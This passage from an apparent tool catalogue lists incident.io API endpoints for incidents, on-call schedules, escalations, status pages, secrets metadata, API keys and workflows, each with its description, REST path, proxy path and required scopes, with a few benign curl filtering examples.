have field ABC set to the custom field option of id=XYZ: curl \ --get 'https://api.incident.io/v2/incidents' \ --data 'custom_field[ABC][one_of]=XYZ' Or all incidents that do not have custom field id=ABC set to option id=XYZ: curl \ --get 'https://api.incident.io/v2/incidents' \ --data 'custom_field[ABC][not_in]=XYZ' ### Sorting By default, results are ordered by their creation date. You can use the sort_by parameter to reverse this order: curl \ --get 'https://api.incident.io/v2/incidents' \ --data 'sort_by=created_at_oldest_first' via GET /v2/incidents GET /api/v1/incidentio/v2/incidents. Scopes: incidents.view. incidentio_get_v2_incidents_by_id (read) — Get a single incident. The ID supplied can be either the incident's full ID, or the numeric part of its reference. For example, to get INC-123, you could use either its full ID or: curl \ --get 'https://api.incident.io/v2/incidents/123 via GET /v2/incidents/{id} GET /api/v1/incidentio/v2/incidents/{id}. Scopes: incidents.view. incidentio_get_v2_policies (read) — List all policies for an organisation. via GET /v2/policies GET /api/v1/incidentio/v2/policies. Scopes: policies.view. incidentio_get_v2_policies_by_id (read) — Get a single policy. via GET /v2/policies/{id} GET /api/v1/incidentio/v2/policies/{id}. Scopes: policies.view. incidentio_get_v2_policy_findings (read) — List the findings your policies have raised, whatever state they are in. via GET /v2/policy_findings GET /api/v1/incidentio/v2/policy_findings. Scopes: policies.view. incidentio_get_v2_policy_findings_by_id (read) — Get a single finding. via GET /v2/policy_findings/{id} GET /api/v1/incidentio/v2/policy_findings/{id}. Scopes: policies.view. incidentio_get_v2_schedule_entries (read) — List the schedule entries for a schedule over a window of time. Use this endpoint to find out who is on-call for a schedule, either right now or at any point in the future. Common uses include: - Building a calendar or timeline view of who is on-call. - Looking up who was on-call at a particular moment (for example, when an incident fired). - Exporting upcoming shifts into another system, such as a payroll or scheduling tool. The response groups entries into three lists: `scheduled` (the entries the rotation rules produce, before any overrides), `overrides` (any one-off overrides that apply in the window) and `final` (the effective schedule after overrides have been merged in — this is normally the list you want). Each entry includes the `rotation_id` and `layer_id` it belongs to. Schedules can be made up of multiple rotations (for example, a primary and a secondary rotation) and each rotation can have several layers, and we return entries for every rotation and layer on the schedule. The endpoint returns all entries that overlap with the given window. If no window is provided we default to a sensible range starting from now. ## Pagination Responses are paginated. When more entries are available than fit on a single page, the response includes a `pagination_meta` block with two fields: - `after_url` — a fully-formed URL for the next page. The simplest way to paginate is to keep following this URL until it is no longer present. - `after` — an opaque cursor token. To fetch the next page manually, re-issue the request with `entry_window_start` set to this value and `entry_window_end` left unchanged from the original request. Treat the token as opaque — do not parse or modify it. Keep paginating until `pagination_meta` is absent from the response, at which point you have received every entry in the window. via GET /v2/schedule_entries GET /api/v1/incidentio/v2/schedule_entries. Scopes: schedules.view. incidentio_get_v2_schedule_overrides (read) — List the overrides on a schedule. Overrides are one-off changes layered on top of the rotations, such as someone covering a colleague's shift. This returns the overrides themselves: to see the effective schedule with overrides already merged in, use the schedule entries endpoint instead. Overrides belong to a specific layer of a specific rotation, so you can narrow the results with `rotation_id` and `layer_id`. Archived overrides are not returned. via GET /v2/schedule_overrides GET /api/v1/incidentio/v2/schedule_overrides. Scopes: schedules.view. incidentio_get_v2_schedule_overrides_by_id (read) — Get a single schedule override. Overrides that have been deleted are not returned. An override's ID is not stable across edits: updating an override that overlaps its neighbours replaces them with new overrides, so an ID you are holding can stop resolving. List the schedule's overrides again to pick up the replacements. via GET /v2/schedule_overrides/{id} GET /api/v1/incidentio/v2/schedule_overrides/{id}. Scopes: schedules.view. incidentio_get_v2_schedule_sync_targets (read) — List all schedule sync targets for this organisation. via GET /v2/schedule_sync_targets GET /api/v1/incidentio/v2/schedule_sync_targets. Scopes: schedules.view. incidentio_get_v2_schedule_sync_targets_by_id (read) — Get a single schedule sync target. via GET /v2/schedule_sync_targets/{id} GET /api/v1/incidentio/v2/schedule_sync_targets/{id}. Scopes: schedules.view. incidentio_get_v2_schedules (read) — List configured schedules. via GET /v2/schedules GET /api/v1/incidentio/v2/schedules. Scopes: schedules.view. incidentio_get_v2_schedules_by_id (read) — Get a single schedule. via GET /v2/schedules/{id} GET /api/v1/incidentio/v2/schedules/{id}. Scopes: schedules.view. incidentio_get_v2_schedules_by_schedule_id_replicas (read) — List all replicas for a schedule. via GET /v2/schedules/{schedule_id}/replicas GET /api/v1/incidentio/v2/schedules/{schedule_id}/replicas. Scopes: schedules.view. incidentio_get_v2_schedules_by_schedule_id_replicas_by_id (read) — Get a single schedule replica. via GET /v2/schedules/{schedule_id}/replicas/{id} GET /api/v1/incidentio/v2/schedules/{schedule_id}/replicas/{id}. Scopes: schedules.view. incidentio_get_v2_schedules_by_schedule_id_sync_rules (read) — List the sync rules configured on this schedule. via GET /v2/schedules/{schedule_id}/sync_rules GET /api/v1/incidentio/v2/schedules/{schedule_id}/sync_rules. Scopes: schedules.view. incidentio_get_v2_schedules_by_schedule_id_sync_rules_by_id (read) — Get a single sync rule for a schedule. via GET /v2/schedules/{schedule_id}/sync_rules/{id} GET /api/v1/incidentio/v2/schedules/{schedule_id}/sync_rules/{id}. Scopes: schedules.view. incidentio_get_v2_secrets (read) — List all secrets for this organisation. Returns metadata only, never values. via GET /v2/secrets GET /api/v1/incidentio/v2/secrets. Scopes: secrets.view_metadata. incidentio_get_v2_secrets_by_id (read) — Show a single secret's metadata, including its version history. Never returns values. via GET /v2/secrets/{id} GET /api/v1/incidentio/v2/secrets/{id}. Scopes: secrets.view_metadata. incidentio_get_v2_status_page_incidents (read) — List status page incidents. This endpoint requires a valid API key but no specific scopes. via GET /v2/status_page_incidents GET /api/v1/incidentio/v2/status_page_incidents. Scopes: none. incidentio_get_v2_status_page_incidents_by_status_page_incident_id (read) — Show a status page incident. This endpoint requires a valid API key but no specific scopes. via GET /v2/status_page_incidents/{status_page_incident_id} GET /api/v1/incidentio/v2/status_page_incidents/{status_page_incident_id}. Scopes: none. incidentio_get_v2_status_page_maintenances (read) — List status page maintenances. This endpoint requires a valid API key but no specific scopes. via GET /v2/status_page_maintenances GET /api/v1/incidentio/v2/status_page_maintenances. Scopes: none. incidentio_get_v2_status_page_maintenances_by_status_page_maintenance_id (read) — Show a status page maintenance window. This endpoint requires a valid API key but no specific scopes. via GET /v2/status_page_maintenances/{status_page_maintenance_id} GET /api/v1/incidentio/v2/status_page_maintenances/{status_page_maintenance_id}. Scopes: none. incidentio_get_v2_status_page_structures_by_status_page_id (read) — Show the structure of a status page. This endpoint requires a valid API key but no specific scopes. Returns the components and component groups configured on a status page. Use this to find component IDs when specifying affected components for incidents or maintenance windows. via GET /v2/status_page_structures/{status_page_id} GET /api/v1/incidentio/v2/status_page_structures/{status_page_id}. Scopes: none. incidentio_get_v2_status_pages (read) — List all status pages for your organisation. This endpoint requires a valid API key but no specific scopes. Use this to find status page IDs for use in other endpoints. via GET /v2/status_pages GET /api/v1/incidentio/v2/status_pages. Scopes: none. incidentio_get_v2_users (read) — List users in your account. via GET /v2/users GET /api/v1/incidentio/v2/users. Scopes: users.view. incidentio_get_v2_users_by_id (read) — Get a single user. via GET /v2/users/{id} GET /api/v1/incidentio/v2/users/{id}. Scopes: users.view. incidentio_get_v2_users_by_user_id_notification_methods (read) — List notification methods for a user. Phone numbers are partially redacted unless the API key holds the notification_methods.view_unredacted scope. via GET /v2/users/{user_id}/notification_methods GET /api/v1/incidentio/v2/users/{user_id}/notification_methods. Scopes: notification_methods.view. incidentio_get_v2_users_by_user_id_notification_rules (read) — List notification rules for a user. Rules define how and when a user is notified for on-call pages. Only includes high_urgency and low_urgency rules; shift_changes rules are not returned. via GET /v2/users/{user_id}/notification_rules GET /api/v1/incidentio/v2/users/{user_id}/notification_rules. Scopes: notification_rules.view. incidentio_get_v2_users_by_user_id_paging_provider (read) — Show the paging provider that would be used to escalate to this user. Reflects their explicit preference if set; otherwise resolves to the effective fallback (typically `native` for on-call seat users, or a linked external provider otherwise). May be omitted only when the user cannot be escalated to at all (no seat and no linked external user). via GET /v2/users/{user_id}/paging_provider GET /api/v1/incidentio/v2/users/{user_id}/paging_provider. Scopes: user_preferences.view. incidentio_get_v2_workflow_runs (read) — List workflow runs, newest first. Cancelled runs are never returned. The webhook delivery on each step omits the headers and bodies. Fetch a single run to see them. You can filter on when a run was created: ``` # Runs created on or after a date curl 'https://api.incident.io/v2/workflow_runs?created_at[gte]=2026-07-01' # Runs created on or before a date curl 'https://api.incident.io/v2/workflow_runs?created_at[lte]=2026-07-31' # Runs created between two dates curl 'https://api.incident.io/v2/workflow_runs?created_at[date_range]=2026-07-01~2026-07-31' ``` Paginate by passing the last run's ID as `after`. The response's `pagination_meta.after` carries the value to send next, and is absent on the last page. An `after` that isn't a run in your organisation returns 404. via GET /v2/workflow_runs GET /api/v1/incidentio/v2/workflow_runs. Scopes: workflows.view. incidentio_get_v2_workflow_runs_by_id (read) — Show a single workflow run, including the full webhook delivery for any step that sent one. A delivery is kept for 7 days. After that `webhook_delivery_state` becomes `expired` and the delivery itself is absent: the step still ran and may well have succeeded, so an expired delivery must not be read as a failure. This may return a cancelled run, in which case `cancelled_at` is set. via GET /v2/workflow_runs/{id} GET /api/v1/incidentio/v2/workflow_runs/{id}. Scopes: workflows.view. incidentio_get_v2_workflows (read) — List all workflows via GET /v2/workflows GET /api/v1/incidentio/v2/workflows. Scopes: workflows.view. incidentio_get_v2_workflows_by_id (read) — Show a workflow by ID via GET /v2/workflows/{id} GET /api/v1/incidentio/v2/workflows/{id}. Scopes: workflows.view. incidentio_get_v3_actions (read) — List actions for an organisation. Results are paginated and ordered by action ID, oldest first. Use the after value from pagination_meta to fetch the next page; it is only set when there may be more results. ### By created_at and updated_at Both timestamp filters accept the operators "gte" (greater than or equal to), "lte" (less than or equal to) and "date_range" (between two dates). The following example finds all actions updated after 2025-01-01: curl --get 'https://api.incident.io/v3/actions' \ --data 'updated_at[gte]=2025-01-01T00:00:00Z' To find actions created within a specific date range, use the date_range operator with tilde-separated dates: curl --get 'https://api.incident.io/v3/actions' \ --data 'created_at[date_range]=2024-12-02~2024-12-08' Filtering on updated_at is useful for incrementally syncing actions: poll with updated_at[gte] set to your last sync time instead of re-fetching the full history. Two caveats: updated_at moves whenever the action row itself is written, but changes to embedded objects (e.g. an assignee being renamed) can alter the payload without bumping it. And timestamps are stamped before commit, so an action can become visible with an older updated_at than rows you have already seen — overlap your sync window by a few minutes to allow for writes that commit out of timestamp order. via GET /v3/actions GET /api/v1/incidentio/v3/actions. Scopes: actions.view. incidentio_get_v3_actions_by_id (read) — Get a single incident action. via GET /v3/actions/{id} GET /api/v1/incidentio/v3/actions/{id}. Scopes: actions.view. incidentio_get_v3_alert_routes (read) — List all alert routes in your account. via GET /v3/alert_routes GET /api/v1/incidentio/v3/alert_routes. Scopes: alert_routes.view. incidentio_get_v3_alert_routes_by_id (read) — Load details about a specific alert route in your account. via GET /v3/alert_routes/{id} GET /api/v1/incidentio/v3/alert_routes/{id}. Scopes: alert_routes.view. incidentio_get_v3_catalog_entries (read) — List entries for a catalog type. via GET /v3/catalog_entries GET /api/v1/incidentio/v3/catalog_entries. Scopes: catalog_entries.view. incidentio_get_v3_catalog_entries_by_id (read) — Show a single catalog entry. via GET /v3/catalog_entries/{id} GET /api/v1/incidentio/v3/catalog_entries/{id}. Scopes: catalog_entries.view. incidentio_get_v3_catalog_resources (read) — List available engine resources for the catalog. A resource represents a type of data that can be held within the catalog, so this endpoint can be used to see what attribute types can be used when updating the schema of a catalog type. via GET /v3/catalog_resources GET /api/v1/incidentio/v3/catalog_resources. Scopes: catalog_types.view. incidentio_get_v3_catalog_types (read) — List all catalog types for an organisation, including those synced from external resources. via GET /v3/catalog_types GET /api/v1/incidentio/v3/catalog_types. Scopes: catalog_types.view. incidentio_get_v3_catalog_types_by_id (read) — Show a single catalog type. via GET /v3/catalog_types/{id} GET /api/v1/incidentio/v3/catalog_types/{id}. Scopes: catalog_types.view. incidentio_get_v3_follow_ups (read) — List follow-ups for an organisation. Results are paginated and ordered by follow-up ID, oldest first. Use the after value from pagination_meta to fetch the next page; it is only set when there may be more results. ### By created_at and updated_at Both timestamp filters accept the operators "gte" (greater than or equal to), "lte" (less than or equal to) and "date_range" (between two dates). The following example finds all follow-ups updated after 2025-01-01: curl --get 'https://api.incident.io/v3/follow_ups' \ --data 'updated_at[gte]=2025-01-01T00:00:00Z' To find follow-ups created within a specific date range, use the date_range operator with tilde-separated dates: curl --get 'https://api.incident.io/v3/follow_ups' \ --data 'created_at[date_range]=2024-12-02~2024-12-08' Filtering on updated_at is useful for incrementally syncing follow-ups: poll with updated_at[gte] set to your last sync time instead of re-fetching the full history. Two caveats: updated_at moves whenever the follow-up row itself is written, but changes to embedded objects (e.g. an assignee being renamed, or an external issue's status text) can alter the payload without bumping it. And timestamps are stamped before commit, so a follow-up can become visible with an older updated_at than rows you have already seen — overlap your sync window by a few minutes to allow for writes that commit out of timestamp order. via GET /v3/follow_ups GET /api/v1/incidentio/v3/follow_ups. Scopes: actions.view. incidentio_get_v3_follow_ups_by_id (read) — Get a single incident follow-up. via GET /v3/follow_ups/{id} GET /api/v1/incidentio/v3/follow_ups/{id}. Scopes: actions.view. incidentio_get_v3_teams (read) — List all teams in the organisation. via GET /v3/teams GET /api/v1/incidentio/v3/teams. Scopes: catalog_entries.view. incidentio_get_v3_teams_by_id (read) — Get a single team. via GET /v3/teams/{id} GET /api/v1/incidentio/v3/teams/{id}. Scopes: catalog_entries.view. incidentio_patch_v2_incident_timeline_items_by_id (write) — Edit a timeline item. Fields you leave out are unchanged, and an empty description removes it. Timestamp can only be changed on a custom item: a promoted one follows the activity it came from. via PATCH /v2/incident_timeline_items/{id} PATCH /api/v1/incidentio/v2/incident_timeline_items/{id}. Scopes: timeline_items.update. incidentio_post_v1_alert_notes (write) — Add a note to an alert. via POST /v1/alert_notes POST /api/v1/incidentio/v1/alert_notes. Scopes: alerts.edit. incidentio_post_v1_api_keys (write) — Create a new API key. The calling API key can only assign roles whose scopes are a subset of its own. The `api_keys_manage` role cannot be assigned via the API. An organization can have a maximum of 5000 active API keys. This endpoint requires a valid API key with the `api_keys_manage` role at either the account level or team level. via POST /v1/api_keys POST /api/v1/incidentio/v1/api_keys. Scopes: api_keys.create. incidentio_post_v1_api_keys_by_id_actions_rotate (write) — Rotate the access token for an API key. This generates a new bearer token and optionally keeps the old token valid for a configurable grace period (up to 60 minutes), allowing a seamless rollover without downtime. The calling API key must have all the scopes of the key being rotated. This endpoint requires a valid API key with the `api_keys_manage` role at either the account level or team level. via POST /v1/api_keys/{id}/actions/rotate POST /api/v1/incidentio/v1/api_keys/{id}/actions/rotate. Scopes: api_keys.rotate. incidentio_post_v1_custom_field_options (write) — Create a custom field option. If the sort key is not supplied, it'll default to 1000, so the option appears near the end of the list. via POST /v1/custom_field_options POST /api/v1/incidentio/v1/custom_field_options. Scopes: organisation_settings.update. incidentio_post_v1_incident_attachments (write) — Attaches an external resource to an incident. You must provide a resource with resource_type and either external_id or url, but not both. When providing a url, the server will create the attachment from that link for the given resource type if the integration is installed and the link is valid. To attach an arbitrary link that isn't backed by an integration, use the arbitrary_url resource type with a url, and optionally a title and emoji. via POST /v1/incident_attachments POST /api/v1/incidentio/v1/incident_attachments. Scopes: attachments.create. incidentio_post_v1_incident_memberships (write) — Makes a user a member of a private incident via POST /v1/incident_memberships POST /api/v1/incidentio/v1/incident_memberships. Scopes: incident_memberships.grant. incidentio_post_v1_incident_memberships_actions_revoke (write) — Revoke a user's membership of a private incident via POST /v1/incident_memberships/actions/revoke POST /api/v1/incidentio/v1/incident_memberships/actions/revoke. Scopes: incident_memberships.revoke. incidentio_post_v1_incident_statuses (write) — Create a new incident status via POST /v1/incident_statuses POST /api/v1/incidentio/v1/incident_statuses. Scopes: incident_lifecycles.update. incidentio_post_v1_incident_templates (write) — Create an incident template. via POST /v1/incident_templates POST /api/v1/incidentio/v1/incident_templates. Scopes: incident_template.create. incidentio_post_v1_incident_templates_actions_validate (write) — Check whether an incident template's config is valid, without creating or updating anything. This validates in the same way a create or update would: expressions are compiled and checked against your catalog. An invalid config is an error. A config that is valid but probably not what you meant — such as a name that's already taken — comes back as a warning on a successful response, so a client can show it without blocking. via POST /v1/incident_templates/actions/validate POST /api/v1/incidentio/v1/incident_templates/actions/validate. Scopes: incident_templates.view. incidentio_post_v1_maintenance_windows (write) — Create a new maintenance window. via POST /v1/maintenance_windows POST /api/v1/incidentio/v1/maintenance_windows. Scopes: maintenance_window.create. incidentio_post_v1_postmortem_documents_actions_attach (write) — Link an externally-hosted post-mortem document to an incident. Use this to attach a retrospective document you've created in your own provider (for example Confluence, Notion, or Google Docs) to an existing incident. This is the API equivalent of pasting a document link into the incident.io dashboard, and is useful for automating your retrospective workflow - for example, creating a document in the right space with the right permissions when an incident is opened, then linking it back to the incident. Only one external post-mortem can be attached to an incident, and you cannot attach an external document to an incident that already has an in-app post-mortem. Re-attaching the same incident with a new permalink updates the existing link. via POST /v1/postmortem_documents/actions/attach POST /api/v1/incidentio/v1/postmortem_documents/actions/attach. Scopes: external_postmortems.create. incidentio_post_v1_severities (write) — Create a new severity via POST /v1/severities POST /api/v1/incidentio/v1/severities. Scopes: organisation_settings.update. incidentio_post_v2_actions (write) — Create a new incident action. via POST /v2/actions POST /api/v1/incidentio/v2/actions. Scopes: actions.create. incidentio_post_v2_alert_attributes (write) — Create a new alert attribute. via POST /v2/alert_attributes POST /api/v1/incidentio/v2/alert_attributes. Scopes: alert_schema.update. incidentio_post_v2_alert_routes (write) — Create a new alert route in your account. via POST /v2/alert_routes POST /api/v1/incidentio/v2/alert_routes. Scopes: alert_route.create. incidentio_post_v2_alert_sources (write) — Create a new alert source in your account. via POST /v2/alert_sources POST /api/v1/incidentio/v2/alert_sources. Scopes: alert_source.create. incidentio_post_v2_alert_sources_actions_validate (write) — Check whether an alert source template is valid, without creating or updating anything. This validates the template in the same way a create or update would: expressions are compiled and checked against your alert schema and catalog, and merge strategies are checked against the attributes they bind to. Values that are only known once an alert source exists are not validated. via POST /v2/alert_sources/actions/validate POST /api/v1/incidentio/v2/alert_sources/actions/validate. Scopes: alert_sources.view. incidentio_post_v2_alerts_by_id_actions_resolve (write) — Resolve a currently firing alert. This marks the alert as resolved with the current time, attributing the resolution to the API key that made the request. Resolving an already-resolved alert is a no-op and returns the alert unchanged. Some alert sources are 'externally resolved' (for example, Datadog) — those alerts can only be resolved by the third-party system itself, and this endpoint will return a 422 explaining that. Private alerts: an API key without the 'view all alerts' scope can only resolve non-private alerts; private alerts will return a 404. Grant the API key a role that includes the global alerts access scope to resolve private alerts. via POST /v2/alerts/{id}/actions/resolve POST /api/v1/incidentio/v2/alerts/{id}/actions/resolve. Scopes: alerts.resolve. incidentio_post_v2_custom_fields (write) — Create a new custom field via POST /v2/custom_fields POST /api/v1/incidentio/v2/custom_fields. Scopes: organisation_settings.update. incidentio_post_v2_escalation_paths (write) — Create an escalation path. An escalation path is a series of steps that describe how a page should be escalated, represented as graph, supporting conditional branches based on alert priority and working intervals. We recommend you create escalation paths in the incident.io dashboard where our path builder makes it easy to use conditions and visualise the path. via POST /v2/escalation_paths POST /api/v1/incidentio/v2/escalation_paths. Scopes: escalation_paths.create. incidentio_post_v2_escalations (write) — Create an escalation. An escalation pages people, either according to an escalation path, or directly to specific users. You must provide either an escalation_path_id OR user_ids, but not both. When escalating via an escalation path, the escalation will follow the configured path with its levels and timeouts, using your default [alert priority](https://app.incident.io/~/settings/alerts/configuration/priorities). When escalating directly to users, they will receive a high-urgency notification, based on their notification rules. This endpoint is rate-limited to 60 requests per minute, since it is intended for interactive use cases (for example someone clicking a "escalate to team" button in your internal developer platform). To escalate based on automated alerts, we recommend sending events to an alert source instead. If your API key's permissions are scoped to teams, you can only escalate via an escalation path that one of those teams owns. Escalating directly to user_ids needs the permission at the account level, because an escalation aimed at a person has no owning team. via POST /v2/escalations POST /api/v1/incidentio/v2/escalations. Scopes: escalations.create. incidentio_post_v2_escalations_by_escalation_id_actions_check_permissions (write) — Check whether the given users can currently acknowledge, decline, or snooze an escalation. This is a read-only projection of the escalation's current state, intended for deciding which response actions to surface to each user in a custom integration. To use this API, you will need an API key that can view escalations and users. via POST /v2/escalations/{escalation_id}/actions/check_permissions POST /api/v1/incidentio/v2/escalations/{escalation_id}/actions/check_permissions. Scopes: escalations.view, users.view. incidentio_post_v2_escalations_by_escalation_id_actions_respond (write) — Respond to an escalation. An API key can acknowledge or snooze an escalation on its own, and the response is attributed to the key. Declining ("nack") means "I personally can't take this page", so it isn't available to an API key responding in its own right. To use this API, you will need an API key with the "Create and manage escalations" permission. via POST /v2/escalations/{escalation_id}/actions/respond POST /api/v1/incidentio/v2/escalations/{escalation_id}/actions/respond. Scopes: escalations.respond. incidentio_post_v2_escalations_by_id_actions_cancel (write) — Cancel an escalation. Cancelling an escalation stops any further paging: notifications cease and the escalation will not advance to further levels or repeat. This works on escalations that are still paging (for example to silence a page when an incident is resolved before anyone acknowledges it) as well as snoozed ones. Escalations that have already resolved or expired cannot be cancelled, and cancelling an already-cancelled escalation is a no-op. To use this API, you will need an API key with the "Create and manage escalations" permission. via POST /v2/escalations/{id}/actions/cancel POST /api/v1/incidentio/v2/escalations/{id}/actions/cancel. Scopes: escalations.cancel. incidentio_post_v2_incident_alerts (write) — Attach an alert to an incident, creating the connection between them. The API key also needs the 'manage incident alerts' scope, which is what actually relates the alert once the connection exists. If the alert is already related to this incident, the existing connection is returned unchanged. If someone previously marked the alert as unrelated to this incident, that decision is preserved and this endpoint returns a 422 — set re_relate to override it. Private alerts can only be attached to private incidents, including when re_relate is set. An API key that cannot see the alert or the incident receives a 404. Busy incidents can be locked by another operation, in which case this endpoint returns a 409 and the request can be retried. Note that this endpoint returns 201 even when it re-relates or returns an existing connection rather than creating a new one. via POST /v2/incident_alerts POST /api/v1/incidentio/v2/incident_alerts. Scopes: alerts.attach_to_incident. incidentio_post_v2_incident_alerts_by_id_actions_transition (write) — Confirm or detach the connection between an alert and an incident. Set state to 'related' to confirm the connection, or 'unrelated' to detach the alert from the incident. The API key also needs the 'manage incident alerts' scope. A detached connection no longer appears in the list endpoint, which returns related connections only. Busy incidents can be locked by another operation, in which case this endpoint returns a 409 and the request can be retried. via POST /v2/incident_alerts/{id}/actions/transition POST /api/v1/incidentio/v2/incident_alerts/{id}/actions/transition. Scopes: incident_alerts.transition. incidentio_post_v2_incident_roles (write) — Create a new incident role via POST /v2/incident_roles POST /api/v1/incidentio/v2/incident_roles. Scopes: organisation_settings.update. incidentio_post_v2_incident_timeline_items (write) — Add a custom item to an incident's timeline. Items created here are custom, so they carry no activity_log_id and their timestamp stays editable. Set it to when the thing actually happened rather than when you're telling us about it - a deploy you shipped an hour ago belongs an hour back on the timeline. Every request needs an idempotency_key. Retrying with a key we've already seen returns the item the first request created rather than writing a second one, so an automation that retries on a timeout doesn't leave a duplicate behind. via POST /v2/incident_timeline_items POST /api/v1/incidentio/v2/incident_timeline_items. Scopes: timeline_items.create. incidentio_post_v2_incident_updates (write) — Share an update against an incident. An update can carry a message, move the incident to a new status, change its severity, or any combination of the three. At least one of them must be provided. Which permissions you need depends on what the update does: changing status requires permission to update an incident's status, and changing severity permission to update its severity. via POST /v2/incident_updates POST /api/v1/incidentio/v2/incident_updates. Scopes: incident_updates.create. incidentio_post_v2_incidents (write) — Create a new incident. Note that if the incident mode is set to "retrospective" then the new incident will not be announced in Slack. via POST /v2/incidents POST /api/v1/incidentio/v2/incidents. Scopes: incidents.create. incidentio_post_v2_incidents_by_id_actions_edit (write) — Edit an existing incident. This endpoint allows you to edit the properties of an existing incident: e.g. set the severity or update custom fields. When using this endpoint, only fields that are provided will be edited (omitted fields will be ignored). The API key must have the scope corresponding to each property it changes: - `incidents.update_name` for the name - `incidents.update_summary` for the summary - `incidents.update_severity` for the severity - `incidents.update_status` for the status - `incidents.update_custom_fields` for custom fields - `incidents.update_timestamps` for timestamps - `incidents.update_role_assignments` for role assignments - `incident_calls.create` to set the call URL - `incident_calls.destroy` when replacing an existing call URL via POST /v2/incidents/{id}/actions/edit POST /api/v1/incidentio/v2/incidents/{id}/actions/edit. Scopes: none. incidentio_post_v2_incidents_by_id_actions_import_postmortem_document (write) — Import a postmortem document from markdown into an incident. The document content should be provided as GitHub-Flavored Markdown. It will be parsed and converted into the collaborative editor format, and a new postmortem document will be created for the incident. If no main postmortem document exists for the incident, the imported document will become the main document. via POST /v2/incidents/{id}/actions/import_postmortem_document POST /api/v1/incidentio/v2/incidents/{id}/actions/import_postmortem_document. Scopes: in_app_postmortems.import. incidentio_post_v2_policies (write) — Create a new policy. via POST /v2/policies POST /api/v1/incidentio/v2/policies. Scopes: policies.create. incidentio_post_v2_policy_findings_by_id_actions_dismiss (write) — Dismiss a finding, so it stops being counted as open. Dismissing is a judgement that the finding doesn't need acting on, not that the resource now meets the policy. The finding stays queryable with a state of dismissed. via POST /v2/policy_findings/{id}/actions/dismiss POST /api/v1/incidentio/v2/policy_findings/{id}/actions/dismiss. Scopes: policy_violations.dismiss. incidentio_post_v2_policy_findings_by_id_actions_restore (write) — Undo a dismissal, returning the finding to its open state. via POST /v2/policy_findings/{id}/actions/restore POST /api/v1/incidentio/v2/policy_findings/{id}/actions/restore. Scopes: policy_violations.restore. incidentio_post_v2_schedule_overrides (write) — Create a new schedule override. via POST /v2/schedule_overrides POST /api/v1/incidentio/v2/schedule_overrides. Scopes: schedule_overrides.create. incidentio_post_v2_schedule_sync_targets (write) — Create a new schedule sync target for a Slack user group. via POST /v2/schedule_sync_targets POST /api/v1/incidentio/v2/schedule_sync_targets. Scopes: schedule_sync_targets.create. incidentio_post_v2_schedules (write) — Create a new schedule. via POST /v2/schedules POST /api/v1/incidentio/v2/schedules. Scopes: schedules.create. incidentio_post_v2_schedules_by_id_actions_preview_entries (write) — Preview the schedule entries that would be generated by a proposed schedule configuration. Use this endpoint before updating a schedule to see who would be on-call if you saved the supplied schedule payload. The request body uses the same `schedule` payload shape as Update schedule, so you can send the configuration you intend to save without persisting it. The response uses the same `schedule_entries` envelope as List schedule entries: `scheduled` contains entries produced by the rotation rules, `overrides` contains matching overrides, and `final` contains the effective schedule after overrides are applied. The preview window is bounded to keep requests predictable. If you ask for more than 91 days, the response is capped to 91 days from `entry_window_start`. via POST /v2/schedules/{id}/actions/preview_entries POST /api/v1/incidentio/v2/schedules/{id}/actions/preview_entries. Scopes: schedules.view. incidentio_post_v2_schedules_by_schedule_id_replicas (write) — Create a new schedule replica. via POST /v2/schedules/{schedule_id}/replicas POST /api/v1/incidentio/v2/schedules/{schedule_id}/replicas. Scopes: schedules.update. incidentio_post_v2_schedules_by_schedule_id_sync_rules (write) — Create a new sync rule linking a schedule to a sync target. via POST /v2/schedules/{schedule_id}/sync_rules POST /api/v1/incidentio/v2/schedules/{schedule_id}/sync_rules. Scopes: schedule_sync_rules.create. incidentio_post_v2_secrets (write) — Create a new secret with its initial value. via POST /v2/secrets POST /api/v1/incidentio/v2/secrets. Scopes: secrets.create. incidentio_post_v2_secrets_by_id_actions_rotate (write) — Rotate a secret's value, replacing the current value with a new one. The previous value is retired and can no longer be read. via POST /v2/secrets/{id}/actions/rotate POST /api/v1/incidentio/v2/secrets/{id}/actions/rotate. Scopes: secrets.update. incidentio_post_v2_status_page_incident_updates (write) — Post an update on a Status Page incident. This is the endpoint to use when resolving an incident - set incident_status to "resolved" to end the incident. There is a limit of 100 updates per incident. This endpoint requires an API key with the "Create status page incidents, status page maintenance windows, and publish status page updates" scope. via POST /v2/status_page_incident_updates POST /api/v1/incidentio/v2/status_page_incident_updates. Scopes: status_pages.publish_updates. incidentio_post_v2_status_page_incidents (write) — Create a status page incident. This endpoint requires an API key with the "Create status page incidents, status page maintenance windows, and publish status page updates" scope. via POST /v2/status_page_incidents POST /api/v1/incidentio/v2/status_page_incidents. Scopes: status_pages.publish_updates. incidentio_post_v2_status_page_maintenance_updates (write) — Post an update on a Status Page maintenance window. This is the endpoint to use when completing a maintenance window - set maintenance_status to "maintenance_complete" to end the maintenance. There is a limit of 100 updates per maintenance window. This endpoint requires an API key with the "Create status page incidents, status page maintenance windows, and publish status page updates" scope. via POST /v2/status_page_maintenance_updates POST /api/v1/incidentio/v2/status_page_maintenance_updates. Scopes: status_pages.publish_updates. incidentio_post_v2_status_page_maintenances (write) — Schedule a Status Page maintenance window. This endpoint requires an API key with the "Create status page incidents, status page maintenance windows, and publish status page updates" scope. via POST /v2/status_page_maintenances POST /api/v1/incidentio/v2/status_page_maintenances. Scopes: status_pages.publish_updates. incidentio_post_v2_status_page_retrospective_incidents (write) — Create a retrospective (historical) status page incident. Use this to backfill a completed incident with a reconstructed timeline of past updates, for example when migrating from another status page provider. Every update's published_at must be in the past, the updates must be ordered chronologically (earliest first), and the final update must set incident_status to "resolved". Retrospective incidents never notify subscribers. As this endpoint is intended for bulk historical backfill, it has a dedicated rate limit of 5 requests per second (with a burst allowance of 300 requests) per API key. If you exceed it you'll receive a 429 response with a Retry-After header; back off and retry to resume your backfill. This endpoint requires an API key with the "Create status page incidents, status page maintenance windows, and publish status page updates" scope. via POST /v2/status_page_retrospective_incidents POST /api/v1/incidentio/v2/status_page_retrospective_incidents. Scopes: status_pages.publish_updates. incidentio_post_v2_users_by_user_id_paging_provider (write) — Update a user's preferred paging provider. via POST /v2/users/{user_id}/paging_provider POST /api/v1/incidentio/v2/users/{user_id}/paging_provider. Scopes: users.preferred_paging_provider.edit. incidentio_post_v2_workflows (write) — Create a new workflow via POST /v2/workflows POST /api/v1/incidentio/v2/workflows. Scopes: workflows.create. incidentio_post_v3_actions (write) — Create a new incident action. via POST /v3/actions POST /api/v1/incidentio/v3/actions. Scopes: actions.create. incidentio_post_v3_alert_routes (write) — Create a new alert route in your account. via POST /v3/alert_routes POST /api/v1/incidentio/v3/alert_routes. Scopes: alert_route.create. 